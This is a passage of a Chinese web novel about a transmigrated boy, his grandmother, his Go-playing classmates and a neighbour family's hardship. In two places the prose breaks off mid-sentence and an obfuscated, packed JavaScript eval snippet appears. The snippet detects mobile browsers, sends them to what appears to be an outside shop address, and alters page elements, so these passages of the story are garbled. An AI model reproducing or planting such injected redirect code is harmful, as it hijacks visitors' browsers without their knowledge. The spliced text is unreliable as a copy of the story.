纪辰新随他,打着哈欠,还不忘捂住自己缺了的牙床,“我好像有点晕碳了,睡会儿去,你们要是不嫌弃的话,可以来我床上一块躺。” 赵言权想起什么,说自己出去一趟。 纪辰新没在意,看向苏陌,“你继续研究棋局还是?” 苏陌摇了摇头,道,“我可以看看你的房间吗?” 纪辰新不置可否,摊了摊手“随便看。” 他的房间就一张床,一张书桌和两张椅子,实在没什么好看的。 苏陌进来打量一圈后,犹疑道,“你的棋谱在哪?” 他还记得纪辰新说自己是采用的打谱训练法进行训练的。 纪辰新瞬间就清醒了,“额....不在家,放学校了。” 谎话张口就来,各种编,“我其实很少看书,特别是围棋方面的书,在我看来学习才是最重要的。” “是吗?”苏陌不知从哪抽出一张试卷,正是纪辰新上次考试的英语卷子。 下一秒,一个大大的6分跃然纸上,苏陌微愕,“你的卷子?” 纪辰新尴尬的将卷子扯了过来,“发挥失常,发挥失常。” “学习才是最重要的?”苏陌好整以暇地望着他。 “那啥,你困不困,躺会儿?”纪辰新生硬转移话题,“我好困啊,昨晚都没睡好。” 苏陌瞥了眼那张床,才1.5*1.2,很难想象两个人躺一起的景象,况且他习惯一个人睡,“你自己躺吧,我坐椅子上眯会儿就行。” 就知道会是这样的回答,十个男主八个有洁癖,剩下一两个特立独行。 纪辰新没管他了,“那我自己睡了,你请便。” 苏陌见他倒下不到一分钟就呼呼大睡,便移开了视线,撑着手在桌上打盹。 窗外微风吹拂,阳光恰到好处的给予温暖。 半个多小时的时间,纪辰便醒了过来,悠悠然间,他又看到苏陌在书桌子前摆弄棋局。 “你没睡吗?”他声音略略沙哑。 苏陌回头看了他一眼,“眯了二十分钟,你睡醒没?” 纪辰新起身,“差不多吧。” “那好,你来看下这步棋,我已经解出来了。”苏陌指着棋盘。 纪辰新:“!!!” 他表情愕然,“不是吧,大哥。” “大哥?我确实比你大点。”苏陌饶有兴趣道,“你奶奶说你下个月生日,没算错的话,我比你大半岁。” “人呢,你们在哪?”恰逢此时,赵言权终于回来了,他气喘吁吁,“吓死我了,还好我跑得快,不然又被狗追!” 在纪辰新还没反应过来时,赵言劝便推了门进来,“看看我带来了什么。” 赵言权一手提着五花肉,另外一只手抓着一条活蹦乱跳的鱼。 鱼张着嘴还在挣扎,尾巴不停的甩,赵言权满脸湿润,一时分不清是汗还是鱼甩的水。 纪辰新和苏陌都看呆了:“......” “你这是.....?造型还蛮奇特的。”纪辰新欲言又止道。 苏陌似乎忘记了自己本来要和纪辰新说什么,只见他指了指旁边的卧室,“你找纪奶奶的话,她在隔壁。” 赵言权将肉一放,然后抹了抹脸上的水,皱眉惊呼,“噗,好腥!” 老太太听到动静从房间出来,见到这一幕有些慢半拍道,“哎哟,乖孙,你这是干啥?” “纪奶奶,红烧肉我买回来了,咱今晚就做吧,别等生日了。” “对了,这鱼是送您的,我爸说我这么冷不丁过来,连吃两顿饭,肯定叨扰,真是不好意思。” 赵言权笑着道。 原来是请教了父亲,纪辰新还在想他怎么突然像变了个人,都开始讲礼貌了。 老太太缓了下,意识到这是人家父亲的意思,再推诿就有些说不过去了。 “好,那今晚就做红烧肉。”李春兰准备大显身手,“我去将鱼处理了,晚上再给你们做个清蒸鱼片。” 赵言权期待的不行,两眼放光,“嗯嗯嗯。” 纪辰新瞅着这俩人,有种家被偷的既视感。 一个窥探他的所有,疯狂邀他下棋,一个赖在他家不走,一心只知道吃。 这都是造的什么孽啊? 纪辰新打算出去透透气,“那啥,我出去逛逛。” 苏陌睨着他,想要跟随,“去哪?” “正好我也想出去透透气,顺便讨论一下棋局。” 所以到底是真的想透气,还是只想讨论棋局呢? 纪辰新表示强烈反对,“和我一起出去透气可以,但不要讨论棋局OK?” “再讨论...我会吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074302|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”为了表现真实,纪辰新还真呕了下。 赵言权洗了个手回来,“你们要去哪,带上我。” 无法,最后一行三人一起出了门。 纪辰新没忘记自己要买棋子棋盘,便去了棋店,也算是借此打消他俩的疑虑。 谁说他家没有棋子棋盘的? 他不止买棋子棋盘,他还买书! 那劳什子棋谱还是打谱,搞两套! 然而,囊中羞涩的他最后货比三家也没有找到价格最便宜的。 还是苏陌看不下去了,“我那套棋送你吧,最新定制的,还没用过几回。” 啧,他是这么没骨气的人吗,怎么可能吃嗟来之食,他是不可能要的! 下一瞬,只见他微微抿唇,眉眼弯弯,非常狗腿,“啊,那怎么行,这多不好意思啊。” 最后,纪辰新不花一分钱得了一份最新定制款的棋子棋盘。 至于书...倒是花了五块钱,买了本二手的围棋入门书。 不止苏陌,就连赵言权,都用一种‘你是认真的吗’眼神瞅他。 赵言权甚至觉得他脑子被驴踢了,“买错了吧?我五岁就懂的常识,你买来干什么?” 纪辰新用一种神秘的口吻胡说八道,“知识常学常新,你不去巩固,怎么能赢呢?” “你总是输,就是因为不看书!” “是这样吗?”赵言权狐疑地看着他,都有点被说动了。 苏陌接过他的书,随手一翻,只见目录写着——围棋的定义,围棋的纵横线条代表了什么,棋子分为黑白两色.... 苏陌:“......” “你信他,这辈子有了。” “啊,这辈子有什么?”赵言权很懵逼。 苏陌将书丢给他,“自己看。” 短短几秒钟,赵言权先是一愣,后是眉头紧蹙,“好啊,纪辰新,你耍我!” 他摩拳擦掌走了过来,像是要教训他。 纪辰新后退一步,伸手阻拦,“欸,君子动口不动手,况且你打不过我的。” “谁说要打你了!”赵言权手脚并用,“你怕不怕痒?” 魔爪毫无预兆的伸向了他的胳肢窝和腰。 “哈哈哈哈哈哈哈哈。”纪辰新瞬间缴械投降,“我错了,我错了,快放手!” 他一笑就破了功,掩藏了许久的牙床暴露了出来。 霎时,笑的人转变成了另外俩人。 尤其是赵言权,“我说你从昨天到今天怎么总木着嘴说话呢,还以为你有啥毛病,原来是缺了牙啊。” 靠! 纪辰新连忙捂嘴。 “你再捂也没用了,我们已经看到了,哈哈哈哈。”赵言权不依不饶,“不信你问苏陌。” 纪辰新被他这样一笑,破罐子破摔,绝地反击揪住赵言权的胳膊,然后掰开他的嘴,“啧啧啧,你不也缺了吗,还缺了三颗,比我多,笑我?” 这下拼命捂嘴的人变成了赵言权,他咿咿呀呀的咬唇不给他机会再掰。 这时,苏陌牵起嘴角,唇瓣一张一合,非常客观的解释道,“这是正常现象,6-12岁属于换牙期,不用太烦恼。” 他不开口还好,一开口,同时吸引了纪辰新和赵言权的火力。 俩人顿时如狼似虎地瞅着他,心中几乎同时涌现出一句话,凭什么他能置身事外? 苏陌与俩人对视的瞬间,就察觉到了他俩的企图,他眼皮一跳,不由自主地想跑。 纪辰新以绝对的速度朝他扑了过去,“休想跑!” 赵言权紧随其后,“你自己张嘴还是我们来掰?” 11. 第 11 章 苏陌在两个人冲过来时,一个闪躲便绕了过去。 纪辰新眼疾手快捏住了他衣服的一角,随后在他还没反应过来之际,忽地上前抱住了他。 刹那,俩人的额头磕到了一块,纪辰新吃痛都没舍得放手。 苏陌被他抱了个满怀,感知到时,身体微微僵硬。 纪辰新呼出的热气全部糊到了他脸上,“别动,张嘴,让我瞧瞧。” 苏陌很少跟人有这么亲密接触的时候,下意识便抗拒地将他推开。 纪辰新死死擒着他,然后瞟向一旁的赵言权,“快来掰他嘴。” 赵言权见俩人搂这么紧,根本就无处下手,“啊....这....这要...怎么掰...” 苏陌挣脱好几次发现无法冲破纪辰新的钳制,直接就放弃抵抗了,他目光怅然地望着纪辰新,然后无奈张嘴,“我给你看,你松开一点。” 俩人离的近,纪辰新几乎是贴着他的脸,只能微微侧头看他,“不行,得先让我看完,咦,居然没缺牙,左边倒是有一颗短短的牙。” 苏陌闭上了嘴,语气无可奈何,“新长出来的,还没长好。” 俩人四目相对,纪辰新第一反应就是怼他,“那你早张嘴不就好了,省的我们来硬的。” 苏陌依旧被他钳制地无法动弹,正好整以暇地与他对视,“主要是没见过你这么粗鲁且莽撞的人。” “牙也已经看了,你还要抱我多久?” 纪辰新“唰”地一下离他一丈远,挠了挠头道,“什么抱,我那是制裁你。” 苏陌不由摸了摸手臂,这上面仿佛还有纪辰新刚刚搂上来时的触感,他恍然道,“我算是知道你力气有多大了,难怪当时熊宽和孙觉两个人加起来都不是你的对手。” 纪辰新挑眉,无比自豪,“那是。” 赵言权看了眼时间,随机招呼着俩人,“走吧,咱们在外面逛一下午了,快到晚饭时间了,快回去吧。” 他一边说,一边咽了下喉咙。 纪辰新拿着那本二手的围棋入门书悠哉悠哉地扇着风,已经看出他的馋鬼本性,不由有些好笑,“行,走吧。” 三人回到家时,正好五点。 李春兰正在厨房忙活,纪辰新非常自觉去帮忙打下手。 然而,一如既往的,他再次被轰了出来。 老太太叮嘱他,“你同学好不容易来一次,你陪着他们玩。” 纪辰新哪敢陪他们玩啊,苏陌一刻不见又开始摆弄棋局了。 而赵言权显然对纪辰新之前唬他的话半信半疑,正拿着那本二手书研究呢。 突然,肖椿急急忙忙地跑了过来,“纪辰新,你能帮我照看一下我弟弟吗?” “我爸在工地受伤了,我得第一时间赶去医院,我妈在服装厂还没下工,但她有心脏病,这事儿得瞒着她。” 纪辰新瞬间便意识到了事情的严重性,他爽快答应,“好,家里你别担心,你快去。” 肖椿点头,迅速下楼,没了影踪。 纪辰新看着不远处懵懵懂懂的肖烨,朝他招了招手,“小烨,要不要来我家玩。” 肖烨并非毫无察觉,他用不安的眼神看向纪辰新,“不要,我要等我哥哥,他说要跟我玩捉迷藏的。” 他虽然年纪小,但很敏感,“小新哥哥,我哥哥去哪了?” “...他啊,有点事外出了,要晚些回来,交代了让你今天来我家吃饭。”纪辰新知道肖椿的爸妈平时工作回的晚,基本上都是肖椿做好饭,等他们回来吃,甚至就连喂弟弟和瘫痪爷爷吃饭的任务也在肖椿身上。 听到解释,肖烨有些失神,“那他怎么不跟我说一声.....小新哥哥你会玩捉迷藏吗?” 纪辰新还没来得及回答,纪奶奶的声音便传了出来,“吃饭啦,小新!” “小新,快喊你两位同学吃饭。” 纪辰新牵着肖烨的手,“小烨,我们吃完饭再玩好不好,今晚吃红烧肉哦,超香的!” 肖烨听到肉,眼睛亮亮的,语气都雀跃了起来,“肉吗?” 房间里摆弄棋局的苏陌听到纪奶奶呼唤的声音,快速起身,赵言权则是陡然将书放下,生怕去晚一步就少吃一口。 两人来到客厅,目光错愕地看着纪辰新牵了个比他们矮一截的小孩。 纪辰新给两人介绍,“这是肖椿的弟弟,肖烨。” 他没当着肖烨的面说他家出了什么事,怕小孩子多想。 赵言权直接上手捏了捏肖烨的脸蛋,“哇,你跟你哥哥长的还挺像的。” 纪辰新去厨房跟奶奶说了肖椿爸爸的事,然后老太太就出来抱了肖烨,“来,吃饭饭喽,小烨。” 苏陌靠在了厨房边上,纪辰新一转头就看见了他。 “你都听到了?” 苏陌颔首,“如果有需要的话,我可以让司机带你们去医院看望。” 纪辰新没回答,他现在也不知道具体情况,甚至连他们去哪个医院都不知道。 这顿饭吃下来,只有赵言权没心没肺,一如既往的开心。 李春兰一直在给肖烨喂饭,自己都没吃几口,还时不时朝外张望。 她与肖家做了几十年的邻居了,平时互帮互助,此刻也是真的担心。 纪辰新回想起肖椿紧张又无助的神情,心中就像挂了秤砣。 【系统,肖椿爸爸的情况,你知道吗?】 系统:【不知道,他家与主线无关。】 对于系统冷淡的态度,纪辰新心口像是堵了什么,【主线,主线,你天天就知道主线。】 【肖椿是我的朋友,还住我家隔壁,怎么可能与主线无关?】 系统:【宿主,你并不是主角,实际上,若不是宿主你穿了进来,并与我绑定,你与主线也是没交集的。】 【书里,你(也就是原主)只是不小心落湖引发高烧死掉的一名孩童,寥寥几笔的介绍里,再无更多。】 【所以,对于你,以及你身边未来将会发生哪些事情,我并不清楚。】 纪辰新算是明白了,他和肖椿都属于路人甲乙丙丁,在那劳什子书里,边缘人物都算不上。 【算了,问你也是白问。】 时间一分一秒过去,饭后赵言权心满意足地上了赵信接他的车,临走之前还扬言下次会再来。 纪辰新心事重重,就连陪肖烨玩捉迷藏时也心不在焉。 晚上九点左右,苏陌领着司机上来,告诉了他们一个好消息。 王叔:“去查了一下,他们在市人民医院,肖柏的生命没有危险,就是双腿的肌腱断裂以及骨折,已经动完了手术,正在打石膏。” 肖柏正是肖椿父亲的名字。 纪奶奶紧蹙的眉头瞬间舒展,“那就好,那就好,人没事就行,腿只要好好养,总能恢复的。” 纪辰新也舒了口气,他感激地看向苏陌,“谢谢,这本不关你们的事,却劳烦你的司机跑了一趟。” “举手之劳。”苏陌像个小大人一样背着手,“已经很晚了,我就先回去了。” “对了,明天....”他想说什么,但看着纪辰新疲惫的神情,又住了嘴。 纪辰新迷惑看他,“明天怎么?” “没什么。”想起纪辰新每次下棋都隐隐抗拒的神情,苏陌决定明天就不打扰他了,“你早点休息。” * 一个小时后,肖椿从医院回来接走了肖烨。 纪辰新给他留了饭,“就猜你没吃,你爸还好吗?” 肖椿大口吃着饭,衣服上都湿透了,“嗯,我妈在那彻夜陪着。” “本来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16074303|179311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞒着她的,但有人告诉了她,她太急了,差点就心脏病发作,还好我爸没事,她才缓了下来。” 肖椿垂着眸,眼泪忽然啪嗒掉进了碗里。 “其实...我今天过去的路上都想好了,若我爸真有什么不测,我就不读书了。” “家里顶梁柱倒了,我妈一个人养我和弟弟,还有爷爷,她自己每个月还要吃药,我们的日子会过的很艰难。” 他缩了缩鼻子,“还好,我爸只是伤了腿,医生说半年左右就能恢复。” 纪辰新沉默着一个劲给他夹菜,好一会儿才道,“多吃点,别想太多,你必须好好读书,我还需要你给我补课呢。” “你少来了。”肖椿抬头看他,眼眶红红的,“我不会的题,你都会做,你早不需要我补课了。” “哈哈,哪有,说不定我哪天就退步了。”纪辰新望着他单薄的臂膀,终于明白奶奶为何每个月借着补课的名义,执意要给肖椿一篮子鸡蛋了。 “你说你,既要照顾弟弟,又要照顾爷爷,还操心你爸妈,累不累啊。” 肖椿抹了抹眼睛,像是想起什么,“对了,我爷爷....” 纪辰新知道他想说什么,“放心,我奶奶帮你喂过饭了。” 他总算放松了下来,看上去饿极了,将饭菜吃的一点不剩。 纪辰新开玩笑,“吃这么干净,都不用刷碗了。” 肖椿有些羞赧,其实他已经在控制了,要不是纪辰新在这,他都想舔碗,肉的味道真的好久好久没尝到过了。 他是个眼里有活的人,吃完便利落收拾碗筷就要帮着洗碗。 纪辰新连忙拦着,“不用,不用,你赶紧回去歇着吧。” 老太太不知何时将今天苏陌送的牛奶拆了开来,然后拿了三瓶递给肖椿。 “你和小烨一人一瓶,你正是长身体的时候,多喝一瓶。” 肖椿望着牛奶,眼眶又红了,“纪奶奶,不用的,你们留我吃饭,还帮我照顾弟弟和爷爷,我已经很感激了,不能再要你们的东西了。” 老太太硬塞给他,“这都是今天小新同学送来的,也不算我们的东西,你就喝吧,心里别有负担。” 纪辰新见他不收,直接插入一根吸管怼在他嘴边,下一秒便惊呼,“啊,已经被你碰过了,不要的话,就只能丢掉了。” “碰过的我可不要。” “你要丢掉吗?” “怕是有点可惜了....” 肖椿怅惘地看着他,明知道他是故意的,却也说不出丢掉的话,因为牛奶太珍贵了。 最终,他接过牛奶,听从了纪奶奶的话。 不过,他不舍得喝,小烨和爷爷一人一瓶,最后一瓶他想留给爸爸妈妈。 * 苏陌回到家后,第一件事便是交代管家,从今往后他要腾出一到两个小时的时间锻炼身体。 管家不知他意欲何为,甚是困惑,“那小少爷打算如何锻炼?” 苏陌回想起纪辰新两三下便牵制住他的手段,眸色顷刻间暗了暗,“跆拳道也给我报一个吧。” 管家一一应下,待出去时,又被苏陌再次交代定制一副便携式可折叠的棋子棋盘。 闻言,他有些骇异。 小少爷如此宝贵那副棋,难道弄丢了? 虽然不知道具体情况,管家还是没多问,只是道,“那...有什么要求吗?” 苏陌独坐在书桌前,背对着他,半响没回复。 正当管家以为小少爷不会再回复,没有任何要求时,却听到苏陌道,“我想要一副跟原来一摸一样的,能做到吗?” “原来那副送人了,一个可敬的对手,比我还厉害。”说这句话的苏陌嘴角无意识牵起,“其实..送他,也是想和他做朋友来着,不知他意会到了没有。” 12. 第 12 章 第二天早上八点,纪辰新还在吃早饭,转眼就看见肖椿爸爸坐着轮椅回来了。 随行的还有附近的几个邻居,楼梯不好上,都是他们一路帮忙抬着。 肖椿的妈妈,易小梅在一旁一个劲的感谢大家。 肖烨则新奇地围着轮椅转,“爸爸你坐的这个是什么?” 肖柏面色苍白,语气虚弱,有种苦中作乐的意思,“这个叫轮椅,爸爸腿受伤了,暂时走不了路,就只能坐这个椅子了,你看这底下的轮子,推着可以直接走,是不是很有趣?” “哇,我可以坐吗?”肖烨期待地看着他,显然很感兴趣。 肖椿连忙将他拉开,“你个小皮猴,小心一个不注意再伤到爸爸的腿,走,哥哥带你去玩捉迷藏。” 肖烨对这个新奇的椅子上了心,站在原地根本挪不开脚,不管肖椿怎么劝说。 纪辰新站在门框处端着碗吃面,见状,不由诱惑道,“小烨还要不要吃肉肉?” 昨晚肖烨在他家吃红烧肉,吃的那叫一个香,现在被纪辰新这么一招呼,舌根瞬间泛起涟漪。 不到三秒,他便屁颠屁颠跑了过来。 纪辰新从碗里夹了片肉塞他嘴里,“好吃吗?” “嗯,好吃。”肖烨眨巴着眼,嘴里一边嚼着,一边使劲盯着他的碗。 昨天赵言权买了不少肉,昨晚炒了一顿还剩下一小块,李春兰就都留着今天早上做肉丝面了。 纪辰新现在也是长身体的时候,老太太自己都不舍得吃几口,肉几乎都在纪辰新的碗里了。 肖椿走过来拦住了肖烨这个小馋鬼,“小新,你自己吃,别管小烨,我们已经吃过早饭了。” 他们的早饭很简单,煮了一锅粥,量大还管饱。 纪辰新其实也吃的差不多了,就剩最后一口,几条肉丝裹挟着面条,他笑着道,“没事,我已经吃差不多了,这点就让这小鬼尝尝。” 说着,他便示意肖烨自己来扒拉。 一时间,肖烨吃的欢快极了。 纪辰新则暗自将肖椿拉开,问道,“你爸爸怎么这么快就出院了?” 肖椿沉默着没说话。 “是因为医药费吗?”纪辰新合理猜测。 肖椿点头又摇头,“我爸说这个算工伤,他们工地老板会负责,医药费老板都包了的,还给了点赔偿,不过我爸自己执意要出院。” “好在医生也没说什么,只说静养,半个月之后去复查。” 纪辰新表示了解,“快别愁眉苦脸了,医生都没说什么,你再担心也没用,明天就周一了,你作业写完了没?” 肖椿哪有时间写作业,他摇头,“晚点吧。” 纪辰新没再管他,将肖烨连汤都喝完的碗拿回厨房洗了。 再之后,便回到了房间,拿出那本二手围棋入门书看了起来。 看到深处,他还会将苏陌送他的棋子棋盘摆弄一番。 然后恍然大悟道,“噢~原来如此。” 不知不觉中,他花了近三个多小时的时间将这一本书看完了。 在此期间,系统屡次跟他搭话,纪辰新都没搭理。 其实,主要是因为昨天系统的态度,纪辰新至今还在生气。 中午,吃完饭后,他又将作业拿出来写。 写完又做了几张英语卷子,这已经是杨羽第二次拿卷子试探他的实力了。 纪辰新提溜着卷子看了一遍,然后选择了几个明显超纲的题答错,将分数控制在七八十分的样子,便停下了笔。 系统忍不住道:【这些题对你来说应该很容易啊,你是故意答错的?】 纪辰新依旧不理它,他放下卷子就出了房间,帮奶奶煮饭。 系统默了一会儿,再次道,【宿主,我有点看不懂你的行事。】 纪辰新还是不理它。 系统自顾自道:【刚刚那本围棋书最后面的那个棋局,你宁愿钻研一个小时,也不愿问我?】 回应它的仍旧是沉默。 系统有些无可奈何了。 终于,在纪辰新吃完午饭回房午睡时,系统像是意识到什么,开口道,【宿主,你难道是为昨天的事,在生我的气?】 【我不明白我有说错什么。】 【肖椿家确实不在主线之内,书里没写,所以我没法跟你预警他家的事。】 纪辰新躺在床上,闭着眼,糯了糯唇,总算是开口了,【我只是在想一个问题。】 【什么问题?】 -【既然原主与主线无关,那我为什么会穿进他身体里,还与你绑定,甚至要救男主?】 【这是个概率事件,也属于偶发事件,换句话说,穿书者不一定是与主线相关的人。】 -【那选一个与主线相关的人不是更好完成任务吗?】 【不,不会。】 -【你为何这么肯定?】 【因为,宿主你就是最合适的人选。】 -【为什么?】 【额...该怎么说呢,总之,数据上是最匹配的。换言之,你是本系统精心挑选,独一无二的存在,谁都无法与你相比。】 纪辰新:“......” 【宿主,你就别生气了,现在这样不是也很好吗,奶奶健在,你也活蹦乱跳的,现实生活中,又有谁能预知未来,你对我不要这么严格....我不是神,也有办不到的事情。】 这话是在理的,纪辰新闭着眼,意识到是自己强人所难了。 “小新,快出来,看奶奶给你买了什么。”李春兰在外面敲门。 纪辰新豁然睁开了眼,眼底一片清明,起身走了出去。 客厅里,老太太手里攥了件崭新的牛仔外套,上面的标签都还没摘,“最近天气变凉了,奶奶给你买了件衣服,他们都说这是现下最流行的款式,快试试合不合身。” 说着,她便拉着纪辰新穿上。 纪辰新没有犹疑,直接就套在了身上,几秒钟后,老太太满意地啧啧称好,“真好看。” 随即,她便取来了镜子,“小新,你自己瞧瞧,喜欢吗?” 纪辰新看着镜子里的自己,一米三左右的身高,穿着微微幼稚的衣服,倒也符合现在的年龄。 只不过,他明显发现镜子里的自己长的越来越像他原来现实中的模样了,还真是神奇。 “怎么样?”李春兰笑着道,“若是不喜欢,奶奶再拿去换。” 纪辰新穿着转了个圈,“嗯,还挺合身的,奶奶的眼光最好了。” 李春兰见孙儿喜欢,可算是放下心来,昨日见他那两个同学都穿的清清爽爽,板板正正,那些衣服款式既漂亮料子又好,面上不说什么,她心下还是有些在意的。 她怕小新被人瞧不起,怕他走在外面被人嫌弃或是欺负。 是人都喜欢漂亮小孩,尤其是那些穿着也漂亮的。 家里虽然不富裕,但小新的衣服都是她仔仔细细搓过,洗过的,即便条件有限,但她也尽量在力所能及的范围内让小新每天穿的干干净净。 纪辰新对着镜子又转了个圈,嘴角一扬,两个酒窝便显现了出来,显得阳光又开朗,他感受到了奶奶的爱,所以脸上洋溢着的都是幸福。 * 周一,纪辰新早早来了学校。 在早自习开始前,他便应班主任的要求,将英语作业收上去。 自从纪辰新成了英语课代表,并将熊宽和孙觉狠揍一顿后,班里人对他几乎俯首称臣,他俨然已经成了没人敢惹的存在。 此刻他听到其他组长的告状,谁谁谁又不交作业,怎么喊都喊不动。 只见他眼神一凛,看向那几位不交作业的,顿时吓得人不敢与他对视,大气都不敢喘,只知道埋头苦写。 然而这些人里面有一位是他的朋友,肖椿。
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“啊?6分?纪辰新吗?” “是啊,还不止呢,之前期末英语8分,前两个月开学考,就退步成6分了。” “啊,对对对,他上次数学11分,语文33分。” “哈哈哈哈哈,也太好笑了吧,我估计他题都看不懂,一通乱写。” “但他这段时间貌似进步神速,还总被几位老师夸,就连作业都挑不出错。” “拉倒吧,肯定是抄的。” “哇,那下个礼拜就是期中考试,他怕是要闹笑话了吧,真是迫不及待呢。” “如果他英语没及格,是不是应该卸任啊?” “到时候我们.....这样....” 几人唧唧歪歪说着,小心翼翼开始密谋,根本没注意厕所里还有人,甚至是当事人。 直到纪辰新堂而皇之的打开了一扇门,然后岔开他们所有人,站在他们面前洗手。 几人瞬间头皮发麻,脸色煞白。 他们支支吾吾的你看我,我看你,没人敢开口说一句话,生怕怵了纪辰新的霉头。 纪辰新洗完手,嘴角似有若无地勾了勾,“放心,我会考的比你们任何一个人都要好,至于课代表,真是不好意思,我是老班钦点的,有意见的话,去和她说。” 临走之前,他还饶有兴趣地回头看了他们一眼,神色意味不明。 一个小眼睛单眼皮的男生,腿软到不行,差点跪了,刚刚说坏话最多的就是他了。 “怎么办?他是不是记恨我了?” “不知道啊,他刚刚回头看我们是什么意思?” “难道是打算放学收拾我们?” “那可怎么办,我不想说的,都怪你,范智,你好端端的惹他干嘛!” “.....” 几人因为纪辰新那意味不明的眼神,没几分钟就开始内讧了,而范智就是那个小眼睛单眼皮的男生,忙不迭撇清关系,“我没有,我又不是故意的,我也不知道他在这啊。” “范智,都怪你,都是你引起的,我可不想被揍。” “对呀,该怎么办,熊宽至今头上还打着那么大一个补子呢。” 一想到熊宽的惨样,他们实打实的害怕,各个都想将责任转移。 “好了,怕什么,我们这么多人,还怕他一个不成!”班长突然表态,他本来没将纪辰新放在眼里的,但纪辰新自己上来挑衅,可就怪不得他了。 一个学渣.... 要比成绩是吗? 他倒要看看老班最后更袒护谁! 13. 第 13 章 纪辰新回到教室时,肖椿正好将写好的作业交了过来。 有了他的带动,其他几位拖欠作业的同学也陆陆续续将作业交到了纪辰新手中。 作业收齐后,纪辰新便去了办公室。 办公室里,杨羽貌似等候多时。 “今天收上来有点慢了。” 纪辰新乖巧点头,俨然一副好学生模样,“嗯,下次会注意。” 说着,他将自己周末写的英语试卷递了过去,“老师,这些都已经写完了。” 杨羽翻了翻,还是比较满意的,“正确率很高,马上就是期中考了,有信心吗?” 纪辰新正想说什么,却听到一个熟悉的声音在身后响起。 “报告。” 清脆而有力,是苏陌的声音。 他回头,霎时间,俩人的视线正好对上。 苏陌怔了一瞬,随即将目光平移了过去,落在了一个中年男人身上,“老师,你找我?” 纪辰新也收回目光,对杨羽表达了自己的信心。 那边,中年男人道,“你升旗的演讲稿,我已经看了,没什么要改的,拿过去吧。” 苏陌点头,拿了稿子,侧身的时候余光微微瞥了纪辰新一眼。 纪辰新认真看着杨羽批改他的卷子,“老师,要是没什么事,我就先出去了。” 杨羽还没来得及点头,升旗的音乐便响了起来。 她放下卷子,揉了揉眉心道,“一起过去教室吧。” 纪辰新没意见,跟随了杨羽出去。 只是....没想到,他能在办公室门口再次见到苏陌。 苏陌背抵着墙,一只脚直立,另一只脚脚尖着地,他安静地低头垂眸,似乎在等他。 纪辰新不由挑了下眉,但也没说什么。 还是苏陌感受到有人出来,下意识抬眼看了过来。 杨羽挡在了纪辰新的前面,所以苏陌第一眼只瞟到纪辰新半边身子。 苏陌反应很快,先是跟杨羽问了好,随后又翘唇朝纪辰新道,“同学,你鞋带散了。” 纪辰新顿时低头,鞋带果然散了。 然而,等他再抬头时,苏陌只留了个背影给他。 杨羽在一旁嘀咕了句,“这位年级第一还挺乐于助人。” 纪辰新撇了撇嘴,迅速系好了鞋带。 教室门口,体育委员已经让所有人排好了队,只是大家秩序一般,好似有讲不完的话。 直到杨羽过来后,所有人才安静了下来。 他们几乎是一瞬间就闭上了嘴,然后排着队,整齐划一的往操场去了。 纪辰新的位置比较靠后,肖椿就在他前面,因为比他矮。 俩人前后位,时不时说点小话,属于基本操作。 三分钟的时间,他们便已经抵达了操场。 肖椿站定后,略略惊讶地指了指升旗台,“你看,是苏陌?今天他演讲欸!” 纪辰新瞅了一眼,淡淡“嗯”了一声。 升旗仪式很快结束,下一项便是演讲了。 只见,苏陌戴着红领巾,身姿挺拔,他就像一株迎风生长的松柏,鲜活又坚韧。 “尊敬的老师,亲爱的同学们,大家早上好!” “今天我在国旗下演讲的主题是《讲道德,学做人》” “讲道德的第一点就是不在背后说人坏话,这体现在我们生活的一言一行中。就比如今天早自习课间,我在我们这层楼的厕所外,正准备进去打扫卫生,却听到有同学因为嫉妒而嘲笑诋毁一个同学......” 纪辰新本昏昏欲睡的脑袋,嚯地一下,清醒了过来。 他惊愕地向国旗下的那人望去。 苏陌正在进行脱稿演讲,每一句话都掷地有声,讲述时眸中微光闪烁。 而一旁的中年男人也就是年级组长,此刻看起来似乎有些措手不及。 演讲的内容分明就不是稿子里写的! 苏陌小小的身影站在国旗下,鲜艳的红领巾衬的他脖颈白净极了,眼神却愈发明亮,“这样的行为是可耻的,我们应该抵制,千万不要像四年三班的范智等人学习。” “四年三班的班长也应好好树立并带领大家遵循班规......” 听了前几句本就已经胆颤心惊的范智,猛然听到自己被点名,悬着的心终于是死了。 他脸红的能滴血,险些直接晕过去。 而之前和他一起诋毁纪辰新的其他人,此刻表情像是打翻了调色盘,五彩纷呈,神情惊惧惶恐,就怕下一个轮到自己被当众点名。 天知道,说个坏话被当事人听到也就算了,还被年级第一给听了去,甚至成了他演讲的素材。 班长周卢振也不由滴了几滴冷汗,他暗自庆幸,还好自己当时说的话公正,没有被苏陌抓到把柄。 “同学之间应该和谐友爱,多说文明话,做文明事,做一个讲道德的人,这才不愧对老师的殷勤教导。” 苏陌站的笔直,阳光照射出他清晰的下颌线,嘴角抿成弧线,带着一丝庄严的味道。 短短几分钟的演讲下来,底下各班都炸了。 他们窃窃私语,众说纷纭,甚至各执一词。 “范智是谁?” “居然被苏陌当众点名,这要是我,学都不想上了。” “何止是不想上学,我会上天台的程度!” “不是说了吗,是四年三班的。” “苏陌说的是范智等人,看来好几个呢!” “看范智平时和谁玩的好,不就知道了吗。” “啊,我知道,范智和他们班长还有几个干部走的近。” “哇,那估计就是他们几个。” 众人七嘴八舌,惹得听到这些闲言碎语的当事人,恨不得当场跟范智撇清关系。 